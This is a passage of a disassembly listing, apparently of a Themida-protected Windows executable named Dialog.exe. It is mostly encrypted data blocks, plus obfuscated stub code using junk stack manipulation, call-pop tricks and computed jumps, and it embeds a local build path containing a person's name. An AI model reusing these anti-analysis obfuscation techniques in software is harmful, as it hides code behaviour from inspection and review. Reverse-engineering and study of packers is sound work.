		dd 2D8E32D9h, 0A1A217C1h, 6820F4Ah, 81000000h, 5BEA23D6h
		dd 0FF64E949h, 0F94AFFFFh, 0D28985BCh, 72482400h, 59AD8D8Dh
		dd 6A0619h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0BBDD5CC3h, 0E5E49939h, 0E8533B06h, 10h
		dd 3B01E315h, 4A602DCh,	0A2F76793h, 59E36D41h, 8D89585Fh
		dd 6142B69h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	88C35040h, 105585C7h, 640C0614h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D62EC6C3h, 0C28B6CEEh, 13D85C7h, 614h, 0E8600000h
		dd 0Bh,	0E92DE624h, 7FBC4B97h, 0B91905DFh, 4CFDACD7h, 95BD8B58h
		dd 6106141Bh, 0D09B5FFh, 81660614h, 0FFE913E6h,	140BD995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 1EBDE525h, 20ADBD5Ah, 6057D965h,	71E28166h
		dd 8D0FFCh, 61000000h, 0E881665Fh, 6AA574h, 297195FFh
		dd 0C08B0614h, 0C5AF4CEBh, 0D0754363h, 0EA32BD71h, 61003552h
		dd 0AF766A57h, 94729E47h, 414AED47h, 0EE801345h, 42CCD9F6h
		dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 70FA1E5Dh,	34E42269h
		dd 858A783Ah, 0EF2BE377h, 6F809A7Bh, 3A48DCC9h,	18F4A034h
		dd 2ADE8A91h, 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h
		dd 33A9A90Bh, 5AF19826h, 7AEF5E26h, 60338C2Eh, 0E4FFB44Eh
		dd 56F867A5h, 0BEA08C0Ah, 242B66A3h, 0BA796720h, 27CD25A3h
		dd 0FAD71B20h, 33338C2Ah, 33831D29h, 0B6C09826h, 35BFC228h
		dd 33D61576h, 63AF817Ch, 2A690DD9h, 64839E32h, 59359826h
		dd 231F1523h, 634B817Ch, 69A61DABh, 0CC039E3Fh,	27BFDDB3h
		dd 3C149320h, 336AA1A2h, 23B01526h, 639C817Ch, 334DAACEh
		dd 0BEF6D826h, 2A098EA3h, 0B624C820h, 35CDC236h, 0AFF6776h
		dd 0B0338C34h, 0B61794E2h, 3554C236h, 33231576h, 6355817Ch
		dd 2A140DD9h, 513D9E32h, 666A9826h, 646474ADh, 4E11CE74h
		dd 0DA8DAB2Eh, 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h
		dd 3B1713EFh, 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh
		dd 88005AADh, 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h
		dd 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h
		dd 6C8EC6E7h, 37A8517Fh, 0CD881526h, 0BE9C817Fh, 2A16ABABh
		dd 932020h, 0FC780000h,	310271E7h, 83C8D007h, 0F4904C7h
		dd 0FFFFF285h, 33B58DFFh, 8D06195Bh, 195B528Dh,	83CF2B06h
		dd 0C88B05E9h, 8E8h, 58401E00h,	2D1D6024h, 0D9B58B4Eh
		dd 58061416h, 9D8D8B52h, 5B061415h, 5FD7C081h, 0A4B90000h
		dd 0BA6FCEBBh, 17C2h, 0EAB3B966h, 11E930FFh, 0D2000000h
		dd 0A6FE6645h, 5603BD08h, 0CFD3B4DAh, 8794328Fh, 20E1815Fh
		dd 817BC41Fh, 3160F6F7h, 118D8B72h, 81061408h, 0E7A3F8C7h
		dd 0E1DB8128h, 81248334h, 5A2908EFh, 89D1B32Fh,	68D0F38h
		dd 89000000h, 1416C5BDh, 0F0E88106h, 312B5C14h,	1413719Dh
		dd 0ECC08106h, 0E92B5C14h, 8, 0EF6CCAC8h, 7A780AF2h, 0F01EA83h
		dd 2185h, 0CE900h, 0B9620000h, 6A0238C3h, 5A3F0073h, 1DE9D5A4h
		dd 0F1000000h, 5ADBAC85h, 0D749EBC8h, 8D093050h, 61418B1h
		dd 0FFFF5FE9h, 9C59D8FFh, 75C87411h, 0EE8h, 0E6A9E500h
		dd 0C968F598h, 0F2F51A17h, 0E9C0BFE8h, 0Bh, 38B9486h, 0B7C31E04h
		dd 5A5500A9h, 1E459D03h, 0C2810614h, 712Eh, 8650BF66h
		dd 1C1068h, 0FBCB8100h,	591BD0C5h, 3039858Bh, 32FF0614h
		dd 9FD9D2Bh, 0E95E0614h, 13h, 58F38A6h,	0ED407949h, 255699Dh
		dd 0C7F25A25h, 81D5F819h, 74C69DEEh, 2D95894Dh,	8106141Bh
		dd 1AD424EEh, 259D8B03h, 8106142Ch, 0DB3217F6h,	0BD235017h
		dd 614254Dh, 8932895Fh,	1411659Dh, 3EA8306h, 2B898589h
		dd 814A0614h, 1E9h, 1C850F00h, 0E9000000h, 7, 188DE00Bh
		dd 0E9E93390h, 3Bh, 15769015h, 0D5FE8710h, 0E88CA502h
		dd 12h,	0E6A1F64h, 3A656327h, 0D6B23BAFh, 4456055Ah, 80572ADAh
		dd 5F5806C8h, 0FFFF5DE9h, 0AE8A93FFh, 29AF5801h, 0DCC28FDFh
		dd 0E8281C1Bh, 13h, 24CBB0BBh, 32428B75h, 950A4189h, 0C24894CDh
		dd 66935E0Fh, 586328BEh, 2D859589h, 0C0810614h,	5CAAh
		dd 3810Fh, 0B70F0000h, 8E85BAF6h, 0C28179B1h, 864E887Fh
		dd 10318589h, 188B0614h, 81B96660h, 840F44h, 61000000h
		dd 0ED8F381h, 8C0F27F7h, 0
		dd 0BD7CC381h, 0E1810E20h, 475DD4FEh, 3F12EB81h, 5ABE7A4Dh
		dd 537E19F5h, 71F18166h, 89008FE3h, 14049D85h, 1E88306h
		dd 8E0Fh, 48480000h, 81858948h,	8306140Bh, 850F01EAh, 0FFFFFFA6h
		dd 23818589h, 9D8D0614h, 61415D1h, 0CEB8h, 3D858900h, 0E806140Ch
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5D3A53
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F2h
		dd 32h dup(0F2000076h)
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D3A53:				; CODE XREF: Themida_:005D3980j
		jmp	loc_5D3AE5
; ---------------------------------------------------------------------------
		db 0F7h	; ÷
a60jcDocumentsA	db '60JC:\Documents and Settings\Martim Carbone\Desktop\Dialog.exe',0
		dd 13h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5D3AE5:				; CODE XREF: Themida_:loc_5D3A53j
		jmp	loc_5D4A17
; ---------------------------------------------------------------------------
		push	61960EDh
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61961E6h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61963C7h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	6196406h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61964AFh
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	6196567h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	6196927h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	6196C17h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	6196CDCh
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		dd 0E0178CCEh, 45F22B60h, 285FD207h, 8F2479D8h,	578C1F71h
		dd 4494CB14h, 0E82CBCEBh, 8FC000B7h, 3B9BE91Eh,	0BE9F4FE4h
		dd 80E0A288h, 2776FE39h, 241992F9h, 5708C096h, 0AF2A2E58h
		dd 0DE518799h, 77A72567h, 90CE5838h, 256BDA3Fh,	0A7D1938Ah
		dd 1D7C82BEh, 91EF5680h, 0DBB5E241h, 5CAAABA8h,	85A07E4Ah
		dd 123B1F88h, 742FDBECh, 88FD6F35h, 7C0E3012h, 0C49A3E39h
		dd 54BBF2BFh, 27AA8Dh, 8ACF0000h, 437BDAD9h, 35738F7Eh
		dd 62F36A04h, 61C455BAh, 3D1F2723h, 3397B8Fh, 0FFACB78Fh
		dd 0B98D5420h, 0E0h, 0D738663Ch, 86FF2980h, 875A6F6h, 0F66FC014h
		dd 48E5344Ah, 92B397D5h, 0A34C3505h, 0A0E090F0h, 0BEA7FC5Ah
		dd 3A988682h, 0BF10936h, 9733687Eh, 7D9B81E5h, 75E73368h
		dd 0CC0A62DBh, 0C15F2057h, 0B3B1F8Eh, 336881ECh, 90C75CBAh
		dd 51810250h, 8F396BD2h, 7A792A96h, 0A5DDFA1Bh,	336879BFh
		dd 113111C3h, 35749128h, 0D14BF86Ah, 0A2D8A5A6h, 3B8606EEh
		dd 0C05DBF61h, 0FD0DBCD5h, 0BAA3DD76h, 0E6908A8Eh, 0C457B967h
		dd 3B76A779h, 3898E85Fh, 0D690A0E7h, 37226ABh, 0CC7D3h
		dd 0E8478B00h, 0B7E62DBBh, 108DC000h, 0F93465E3h, 41DA3A4Ah
		dd 510ECF12h, 0E977ACFFh, 8DDB08A3h, 24A4D34Ah,	540AB9F6h
		dd 0E1E7CDF5h, 0B3BB3980h, 0E53666CEh, 9AA0C14Eh, 336781B4h
		dd 0E83612CCh, 0DDDE75AAh, 7BDAD98Ah, 738F7E43h, 0F36A0435h
		dd 7B8F997Bh, 4976A739h, 7B8F4B31h, 24BF7539h, 54DB768Dh
		dd 0D5ED681Ah, 397BB7EFh, 0DD41C1B3h, 492D4289h, 3D5A8D54h
		dd 7BBB1F05h, 91F16339h, 0B7DDh, 38665000h, 812C1228h
		dd 9A743367h, 0B864F568h, 2060C55Ah, 596C620h, 868BAA20h
		dd 0BB1B3367h, 61B1CF64h, 0C71AAEEh, 0C93B225Ch, 8AB09D9Eh
		dd 35739DA1h, 6CC077E1h, 2D553033h, 3B85418Ch, 3FE16C1Eh
		dd 0FD2E6EDDh, 0AFAED888h, 3992788Eh, 7CEE336Ah, 58330AC0h
		dd 0AD95B14Bh, 0EB2BF55Ah, 48E136B4h, 75B397D5h, 914B8823h
		dd 9526AB39h, 0BCEF220h, 4E800000h, 0ED22A2D1h,	94F907BCh
		dd 3B9AEA19h, 0E133B1E6h, 9D6194Eh, 7E950656h, 0C271AAEEh
		dd 0ABD85182h, 71A6FD5Dh, 0E0C6FC5Dh, 0A03980E2h, 3666C14Ch
		dd 71C14EE5h, 9A9ED9A6h, 34F2569Bh, 991A49E6h, 0DB568799h
		dd 0C4222662h, 48241996h, 117E950Ah, 0A863FC21h, 0C74788Ch
		dd 31624DFEh, 0F22C81D4h, 0AEAFD98Bh, 74717F98h, 0EC510335h
		dd 7C709476h, 60F65A39h, 5502561Bh, 7C68Dh, 0D86B0000h
		dd 82Dh, 0F6D98AD5h, 0BDF025A2h, 4E74D103h, 35738745h
		dd 5A322BC5h, 0F070A7FCh, 0A2180DA2h, 5A37A9E6h, 49719EFFh
		dd 94B7A563h, 0F32A613Fh, 0A4ACDE8Ah, 12E02E00h, 0F5E4C512h
		dd 0C52327D0h, 0CFB5CD95h, 0DF94B7DBh, 3AD42679h, 0D2BD8D88h
		dd 3F286A46h, 40A187BFh, 77E194B8h, 5C4278C5h, 2494B840h
		dd 1479CE4Ah, 89372526h, 71D1AAF1h, 55C867B7h, 0B787FCDDh
		dd 75FB394h, 7FB2E739h,	56CD0D1Bh, 3C73A321h, 0F234E151h
		dd 0CD9CD360h, 0B9C63C45h, 182DE93Ch, 3565A4BAh, 58C449FEh
		dd 0ADC3BAF3h, 10503568h, 568462E6h, 0C40EF40Ah, 5961D216h
		dd 0D216C373h, 51035D0Fh, 3A54CB0Bh, 0B4AD243h,	0EF98B296h
		dd 0B85961ECh, 0B9D422E1h, 6D6C0149h, 0DF8DF02Bh, 48DAD6AFh
		dd 73A052C8h, 0E6914352h, 437B98E5h, 0CC23625Dh, 7C629825h
		dd 4CC2362h, 3158386Ah,	2F6A7009h, 0FA5FC1CEh, 9F49A3A7h
		dd 4B3245B1h, 6278C27h,	268A1A00h, 876D9574h, 1B74268Ah
		dd 0E56D1F69h, 0A6A7A4D7h, 0FF3267B9h, 467EDA86h, 76328EA9h
		dd 1A86FF69h, 0CAEB6A69h, 0B8ADFE52h, 493C71A4h, 5969E91Bh
		dd 7C1C0749h, 0E23A1BF5h, 0E1E7FB4h, 1F652CFh, 0F71C93C3h
		dd 0E5F1B313h, 0ED10BE37h, 0A1000009h, 4381366Dh, 0E6669D0Ch
		dd 0BBC97EB3h, 5090C75Ah, 0F578AF00h, 8A257728h, 56C90F5Dh
		dd 3970A321h, 871C7A8Ah, 0A7DFBE50h, 3980E4C1h,	66E06DC1h
		dd 0AE5CFB38h, 9026AE27h, 9AEF525h, 2E600000h, 0CD0242F1h
		dd 74D9275Ch, 1B7A8A39h, 0C1135186h, 69B6396Eh,	1EB5E636h
		dd 0E2118ACEh, 4BF83162h, 1146DD3Dh, 0E61C7Dh, 803980E6h
		dd 386621ACh, 54A1FF9h,	3E684882h, 356D647h, 0B197AFAEh
		dd 0F13367C7h, 0B3E50307h, 0FB1ACB78h, 326FA27Ah, 339194Bh
		dd 0CCF25350h, 3573D033h, 0E43805F7h, 41037AB3h, 3A5FD7C1h
		dd 28F8EF27h, 0E9117C7Fh, 0FD1C9D4Ch, 0C34124D6h, 8CB29390h
		dd 0F72E0D7Ch, 0FD4503F3h, 9483E213h, 818C7EACh, 61E1389Fh
		dd 3976A478h, 0AB1C7A8Ah, 7C9B3564h, 5F03D5A4h,	58F4FC6h
		dd 0C9000009h, 6BF92E85h, 0E5EF524h, 0A32156CBh, 78883F72h
		dd 0D508718h, 0E23D9FC0h, 4EE137B5h, 1188CB19h,	0FF3462E2h
		dd 8FB79648h, 3980E5A9h, 668875F9h, 0F30B2838h,	3367820Dh
		dd 9D83FB95h, 0E5336781h, 864D90Bh, 452156C7h, 336781BFh
		dd 92F3F0A3h, 0F375475h, 33678129h, 0B1978F79h,	0F1336781h
		dd 1A000607h, 66336781h, 52748CF4h, 0D6357EE0h,	0F055CA08h
		dd 190706B0h, 0BFCD7AB9h, 0A1ABEC5Fh, 80DFB399h, 0E31DCF39h
		dd 7DAEE27Ah, 0FC2E5808h, 0E46FA191h, 0F154CB0Bh, 7B5C03B3h
		dd 9AFB0A0Eh, 79D95282h, 4B326DAFh, 0C4BE235h, 2094D00Ah
		dd 4D4989FCh, 1000008h,	0A32156CDh, 46863D6Ch, 1B699E13h
		dd 0B03067BAh, 5598CF60h, 2A85D788h, 0F6296FFDh, 59D00341h
		dd 277CDA2Ah, 477FDEF0h, 3980E661h, 6640CD21h, 0EA82FB38h
		dd 7E0E77ACh, 0C7998C1Dh, 0D36D1A97h, 6C246609h, 0DE354B32h
		dd 380E244Fh, 98B99625h, 67DB7C62h, 0EE6A0433h,	0DC2AF44Ah
		dd 585FD21Bh, 70AEAA40h, 336AA122h, 0B7EC1E4Ah,	40BC5E13h
		dd 4BBDE87h, 8A530000h,	0E179D8D9h, 28C50AF9h, 78AF9FFEh
		dd 2ED52855h, 8CB2DBBFh, 357F996Ah, 0B096ACCDh,	0F0398168h
		dd 9170D606h, 52F49E9Eh, 0CB4A24F6h, 50AE0555h,	8EBAA3FCh
		dd 5DBD638Ah, 8BBF91C6h, 40918F8Eh, 0AD9173EFh,	0E517A277h
		dd 4140C080h, 24F12AC9h, 499F850h, 920D4F21h, 380EE4ABh
		dd 68B4E525h, 0E98DF52Ah, 9E610E55h, 3FDB06B5h,	5E000000h
		dd 7ADBDE8Ah, 3392C35Dh, 281D4FE2h, 2E81878h, 9E336782h
		dd 5B0179ECh, 691300E3h, 254A91A5h, 97A7A791h, 16h, 4278991Ah
		dd 3367815Ch, 0D0B5EA28h, 0AC944690h, 18FCCh, 0DE8AC100h
		dd 4DEC62DBh, 9F4A0BEEh, 93D8233Bh, 500AC7Eh, 2Ah, 0DBDE8AA8h
		dd 0EE1AEC62h, 2CE04A0Bh, 9A9CD11Ah, 921C00ACh,	3D000000h
		dd 0E600E61Ch, 0D680ACD3h, 0E5694F77h, 4F39ACD3h, 0DE8A0ECBh
		dd 0C35D7ADBh, 9391990h, 33678123h, 0A123BE8Ch,	9BCB62B5h
		dd 2447FFA1h, 74A44CA5h, 738B8A24h, 3368668Dh, 0D1F7B15h
		dd 0E5AA4453h, 2DF39033h, 9DCFB6EDh, 0B0900F4Fh, 7C313A0Ch
		dd 3C8740CFh, 39h, 0DBDE8AB1h, 815C447Ah, 0B2D33367h, 6781A68Ch
		dd 808FA33h, 0ED146012h, 2B88D6A8h, 0A1FA5A32h,	0C99DB5BCh
		dd 3B13E794h, 402E7B30h, 73D87h, 0D8B00000h, 0D0h, 9ED8D5h
		dd 0A7790000h, 925F3B76h, 62DBDE8Ah, 37C341ECh,	2F078B66h
		dd 90718724h, 5B31DCh, 99A40000h, 78D85787h, 32131642h
		dd 6781260Ch, 95887A33h, 47AC5B1Dh, 0D96D2113h,	603FDD92h
		dd 315FA7h, 8AD20000h, 447ADBDEh, 3367815Eh, 55CDB022h
		dd 5E47AC93h, 0A48BB1Bh
		dd 46F0B095h, 0D04B81DFh, 76C8226Dh, 5BF3A77Bh,	605C5B10h
		dd 7DDF4h, 0D8500000h, 54h, 0FB3866D5h,	812B0C82h, 0E3B73367h
		dd 9EA4C54Bh, 336781B8h, 0B9041CC8h, 93D23E6h, 0DF4E81DFh
		dd 0C05E3A66h, 35E61D92h, 8BDBDE8Ah, 278BFC52h,	0B91F010Fh
		dd 12E2E266h, 9E33678Dh, 403C327Ah, 0FF4AE487h,	7BA5FFFFh
		dd 0E29E871Ah, 7ED8EB66h, 0D5000002h, 9AFB3866h, 66DF5482h
		dd 49275E3Ah, 0D9528609h, 1A7EAEAFh, 0D24E8181h, 9BA3A2A1h
		dd 3573928Ah, 0ACFF55CBh, 9D8F8BB9h, 91240A30h,	827C397Bh
		dd 4F6CED50h, 7B915137h, 4B8B5139h, 0A6DEBAD4h,	397B91C4h
		dd 0EE30068Ah, 91D3B9C1h, 3DAF397Bh, 4E376AAFh,	9DD23612h
		dd 1F8D543Eh, 3Dh, 0DAD98A92h, 8F7E437Bh, 6A043573h, 8F997BF3h
		dd 76A7397Bh, 0E0E666B6h, 397B8FFAh, 0DEBAD486h, 92DF243Ah
		dd 0A8D5420h, 0D0h, 4BB61D03h, 1C79AB06h, 7B8400E6h, 72D68039h
		dd 0FB3866E7h, 5D251582h, 0A199CF0Ch, 81D34D35h, 365F542Ch
		dd 134D08FFh, 0AF04522Ah, 3B78A6B6h, 907B9A8Ch,	0CB0B3367h
		dd 0E05E3F54h, 0F145584Dh, 0ADE3793Fh, 4BE41672h, 66B5CD48h
		dd 68357194h, 4B2F152Dh, 8173397Eh, 4B987E84h, 7EE8397Eh
		dd 7DDF41CCh, 0D19B4120h, 0FA00A6F2h, 0A0D7019Ah, 18BFF020h
		dd 2097B70Ch, 8D5787FEh, 41000004h, 0E361960Dh,	86C67DACh
		dd 5BA9DE53h, 0F070A7FAh, 95D80FA0h, 6AC51748h,	3669AF3Dh
		dd 99104381h, 67BC1A6Ah, 73F1E30h, 3980EA21h, 66008D61h
		dd 0C14EE536h, 0BEA7FA5Fh, 3EB02480h, 74A6EB0Ah, 43C4120Ch
		dd 0C9A79E11h, 77352883h, 0BF7CABC5h, 81D73866h, 0DB75372Eh
		dd 57CC0A62h, 0CBB1C9F6h, 0D7336781h, 3A75A725h, 0CE010143h
		dd 341A2041h, 4C336781h, 0EB84B692h, 0B4556DE8h, 8535739Fh
		dd 7CE1389Bh, 24D644CCh, 9FE5C941h, 2E84397Bh, 0C7161618h
		dd 0A3DCEE6Ah, 0FC9DA5A0h, 7D3B87BDh, 4A336EA3h, 5AE03A1Eh
		dd 8F8FB8F7h, 22915813h, 3F1146F0h, 0E10E0F0Ch,	0F4D4BAC0h
		dd 32AC3367h, 530C2E56h, 0E29C357Fh, 0C558BD63h, 187FA1AEh
		dd 64EC9C81h, 80AE805Ch, 56C70839h, 541D21h, 80900000h
		dd 3367819Eh, 21565502h, 128BC05Ch, 0F19792Bh, 78EE57CAh
		dd 33678192h, 1A00FE1Fh, 53A7C8A6h, 0B1852929h,	0B3E03D90h
		dd 0C2CD7CCAh, 4A3881EDh, 67FB4E34h, 76A05233h,	6AC31412h
		dd 0FB9A7BF3h, 0D5403367h, 0AD95044Bh, 0C3143509h, 689A1746h
		dd 3566FE3Bh, 0ACEF81E4h, 6D45087Dh, 3667A8D9h,	782C957h
		dd 392C5ED1h, 0EBA4E909h, 0BFE9E2ADh, 0F40264DBh, 9033688Bh
		dd 16B2EC41h, 87411956h, 3564AB75h, 0BC301050h,	0FFFFFF73h
		dd 0F9386631h, 0F4FF87B5h, 5371CC77h, 0D9F0BBEBh, 4B25184Ah
		dd 59A9940Bh, 0F420308h, 4DF9AB92h, 8682AB4Ch, 7CACDFB1h
		dd 4B336CA0h, 33681365h, 3411433Dh, 7423FD0Eh, 6AD38D35h
		dd 7C0412F4h, 0E4359A39h, 72ADEF81h, 0CE03590Bh, 7BDFEA53h
		dd 1B328EE3h, 0B559D205h, 0EB133F7Eh, 71157DAFh, 71D996DDh
		dd 6F438D54h, 0D6000000h, 0C5548799h, 50CD0C60h, 7F282226h
		dd 0CF0F117Ch, 57811E7Ch, 0EE2CB2EEh, 0B49CCCB1h, 2F577495h
		dd 33678149h, 63E1AD59h, 58D8DEBBh, 551A2A2Eh, 6D357410h
		dd 4D7592F3h, 397C1067h, 7E649A3Bh, 2397C10h, 23222650h
		dd 0D8256AB2h, 0D3F2677h, 0A23C6AD3h, 0B14D18E5h, 659DE517h
		dd 397C6683h, 6A71C549h, 8D54F845h, 0DFF7h, 38667A00h
		dd 4E829AFBh, 0D24D8FDDh, 0DF314F76h, 40F22B60h, 0DC5383DDh
		dd 44C71769h, 0C35EB310h, 42FC2E5Ah, 45A073C3h,	0F78C0DA8h
		dd 8E8A2969h, 91AECDB9h, 1E7C3367h, 33ED5281h, 5BC54DDCh
		dd 43C1A4FBh, 0C321310h, 3573B4FBh, 0CAA6DD8Fh,	82EC9899h
		dd 0BBC695F6h, 0ADF60C09h, 0DE3B8527h, 28A389B1h, 0DEFF336Ah
		dd 6A28C2A8h, 0F22CDE33h, 6BEA8496h, 0A2F32D4Ah, 0F26A160Fh
		dd 336A290Ch, 8C9F42B6h, 7D8F01CDh, 45028F81h, 60926F4Ch
		dd 69D606E0h, 285F8924h, 0E02778D8h, 26AB85AAh,	9DC9097Ch
		dd 71000001h, 1351861Dh, 0B6366DBCh, 4B99CE63h,	0E060970Ah
		dd 0A5C87FB0h, 5AD50758h, 2679DF2Dh, 892073F1h,	57CC0A5Ah
		dd 0F70F0E20h, 3980EE11h, 66109D91h, 3E4EE536h,	871443E0h
		dd 7BDAD98Ah, 1F053D5Ah, 6F336781h, 0F163FD2Ch,	8FAC7191h
		dd 44363573h, 8F8769E1h, 0C155397Bh, 2149666Dh,	9FF38D54h
		dd 66000000h, 82FB3866h, 51C80B15h, 4AD4BCECh, 36AC910Ah
		dd 33678617h, 0BBE84797h, 970C4AD2h, 8896F2AEh,	0F070D54Ah
		dd 0C1F94447h, 3573AAB0h, 1973A052h, 0A288BE6Eh, 0FE397BA1h
		dd 4B73D20Ch, 3B85459Fh, 8894F163h, 0B676D748h,	79B6E461h
		dd 2E2A4404h, 0D6498BD9h, 0ABA371B1h, 9240B526h, 0D8h
		dd 0ACDB58BAh, 71A6F75Ch, 0D4039EF3h, 0BBE84594h, 3B0EB2Dh
		dd 10401FD8h, 0B418689Fh, 5BBCCC7Bh, 75795C2h, 0C2437BA8h
		dd 80EDD6BCh, 0DF42AA39h, 0DA558799h, 3F70A07Eh, 851A7888h
		dd 38664D6Eh, 0ACEA82FBh, 0A17FC077h, 0F0D6EC6Eh, 0B0336781h
		dd 91A994C6h, 336781ABh, 0F3D05F7h, 0C8FE5F5Ch,	357EE07Ah
		dd 60F15406h, 5CC15EBCh, 9CFA242Ch, 921BCA05h, 1B301C5h
		dd 294A3604h, 570565F4h, 8ECC1CF3h, 0A4E83411h,	856120Bh
		dd 0B3F154C9h, 0B538AED7h, 45856829h, 0C8A49914h, 42352885h
		dd 0C6B86D8h, 0E13150E6h, 87D71542h, 0FA5B3528h, 0A4D6498Bh
		dd 9E1147D9h, 649DE5A7h, 0C8F94DF5h, 6EFE158Ah,	0A492F330h
		dd 5D2FF37Bh, 3051315Ah, 3E2h, 0BB862F00h, 86FF3466h, 120BA8F6h
		dd 9D80197Ah, 2B128DC3h, 0B5A80355h, 3F2679DBh,	0C8BDF021h
		dd 59CC61B4h, 0E459D007h
		db 0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	2431h
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 4EBE5370h
		shr	edx, 7
		shl	edx, 8
		shl	edx, 8
		dec	edx
		not	edx
		inc	edx
		sub	edx, 7D40A059h
		mov	ebx, edx
		pop	edx
		push	3571h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], ebx
		pop	eax
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		db 9Fh,	0FAh, 0C7h
; ---------------------------------------------------------------------------


loc_5D4A17:				; CODE XREF: Themida_:loc_5D3AE5j
		mov	eax, 6196DD9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 5C1B62Ch, 51730B36h,	6EABFAE1h, 5DF8C3FFh, 6F238D8Dh
		dd 8D0F0619h, 4, 5F7BB256h, 2329BD0Bh, 8D890614h, 6142B69h
		dd 0C7F9DA8Bh, 14105585h, 65C006h, 21B46000h, 3D85C761h
		dd 61401h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 174C357h, 2C0919A6h, 0FF2CB54Ch
		dd 140E1DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0E781661Ch, 95FF108Dh, 6140BD9h
		dd 95FF006Ah, 6142971h,	3EEBC08Bh, 0FF42A668h, 0B64D66D2h
		dd 7EDC37D7h, 0DEEC218Eh, 1F952C20h, 0C4810095h, 9FBF4DB9h
		dd 6C2A726Ch, 8E86F04Fh, 0C802F639h, 4B7C7F23h,	7CD906A3h
		dd 297ED11Dh, 0D1FCAC18h, 0A7DA7B2Fh, 0B0E9D37Ch, 60000000h
		dd 0F6DA8C66h, 850F04C2h, 0Ch, 0C2D853Bh, 840F0614h, 36h
		dd 2965853Bh, 840F0614h, 2Ah, 2B25853Bh, 840F0614h, 1Eh
		dd 0A9853Bh, 840F0614h,	12h, 0DA1BD83h,	0F010614h, 584h
		dd 5FE900h, 0D08B0000h,	8B3C5203h, 88BAh, 784A8B00h, 840FC985h
		dd 49h,	0F8C281h, 728B0000h, 8BC8030Ch,	518B1C59h, 8BD80314h
		dd 0FC9850Bh, 1084h, 0FCE3B00h,	1782h, 0FCF3B00h, 0F83h
		dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4DFF9D8Dh, 5B80614h
		dd 0FF000000h, 0BC361E3h, 0C28D8DD0h, 8B061970h, 14025D85h
		dd 698D8906h, 6A06142Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CA4AC353h,	0E6CFB416h
		dd 28E0F56h, 8B000000h,	5585C7DEh, 0FC061410h, 0E9000057h
		dd 8, 0E897C061h, 0CF76CA2Ah, 85C7E38Ah, 614013Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D4C23
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4C23	proc near		; CODE XREF: Themida_:005D4C1Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D4C23	endp

; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	al, ds:0B8BBD635h
		mov	ebx, 54D287E1h
		sub	bx, 0F9F1h
		push	dword ptr [ebp+6140D55h]
		mov	[ebp+61418B1h],	edx
		call	dword ptr [ebp+6140BD9h]
		mov	edi, eax
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5D4CBE
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0C547FCDAh, 82FF728Bh, 0CED6CE05h, 8077AC21h, 998FFC62h
		dd 90989B62h, 8FE5BFB3h, 7C6732E8h, 0A6B36913h,	199B696Bh
		dd 1B037074h, 0C77FF495h, 700F141Ch, 899DCD94h,	0ECB47DDAh
		dd 6F69B703h, 2DA69D58h, 8C87FEA9h, 761A8E29h, 58139D9Fh
		dd 0EA1BA201h, 0B531B021h
		db 0FFh, 0EFh
; ---------------------------------------------------------------------------


loc_5D4CBE:				; CODE XREF: Themida_:005D4C61j
		lea	ecx, [ebp+619720Dh]
		mov	eax, 31B9BD22h
		mov	[ebp+6142B69h],	ecx
		push	0
		push	esi
		call	sub_5D4CDA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



